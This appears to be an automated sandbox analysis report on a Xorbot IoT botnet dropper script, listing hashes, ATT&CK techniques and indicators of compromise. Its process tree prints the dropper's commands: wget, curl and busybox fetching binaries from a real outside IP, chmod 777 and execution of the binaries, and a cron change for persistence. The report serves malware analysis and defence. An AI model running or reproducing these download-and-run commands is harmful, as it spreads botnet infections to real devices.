xorbot | 87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
29-11-2024 17:10

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General

Target

bins.sh
Size

10KB
MD5

40923aeaf01e0f3f644d5ccba48dd1c1
SHA1

3a5a881c9131e5a2c63324a244681eca6f38dfe6
SHA256

87e202798f80ed10b0857470fe32a9bf5ab5ee4644974700d266b1323b90a615
SHA512

c25de22b41b4c157ff863a2d46c684b6f960390b8c7fb1f22389db1dcbcbf082375ec93500e9daf93f7b6b149c60f8929cf0a4aac857452d54dc5596eeae60dc
SSDEEP

192:fEwGF9xAHbc+OY/8Yw/fi9kA4l11Z7kA4l1IEwGF9CHbXxD8Yw/fL:fEwGF9xAHbc+OY59kA4l11Z7kA4l1IEf

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2156) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1522	chmod
1529	chmod

Executes dropped EXE 2 IoCs

Processes:

4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5HGnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

ioc	pid	Process
/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	1523	4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	1530	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

Renames itself 1 IoCs

Processes:

GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

pid	Process
1531	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.8EcaYP	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

description	ioc	Process
File opened for reading	/proc/24/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1368/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1760/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/466/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/643/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1263/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1542/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1667/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/421/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1599/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1767/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/455/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1608/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1712/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1804/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/31/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1739/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/98/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1648/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1738/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1579/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/12/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/115/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1541/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1564/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1572/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1199/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/169/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/28/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1799/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/683/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1558/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1649/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1690/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/881/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1744/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1747/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1560/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1580/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1717/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1730/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/20/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1726/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1762/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/22/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/165/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1570/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1614/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1661/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1547/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1632/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1723/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/81/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1610/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1631/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1706/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1765/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1777/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/16/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/84/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1190/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1680/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1803/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
File opened for reading	/proc/1578/cmdline	GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	wget
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	curl
File opened for modification	/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H	busybox
File opened for modification	/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	wget
File opened for modification	/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	curl
File opened for modification	/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  ./4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  - Executes dropped EXE
  PID:1523
- /bin/rm
  rm 4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod 777 GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  ./GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1530
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1532
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1533
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1534
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1535
- /bin/rm
  rm GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8
  2⤵
  PID:1541

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.8EcaYP

Filesize
210B

MD5
206e826888e60b8880bae674913cd225

SHA1
8929a04942ac39b6b9f8c3f55dc9b12845e3e731

SHA256
aec41076cd681b43400a27f9cf1bade9b1e30fc4ae1b38bc0cf61c2cf76f7293

SHA512
43e03568a65817512d68a8794c289eee2ecd84d8be3834ee372fa726561ee36684935985546daf391bbdcd8bad657a9feeafe8b443d2919810847648dfa5aa11

Download Submit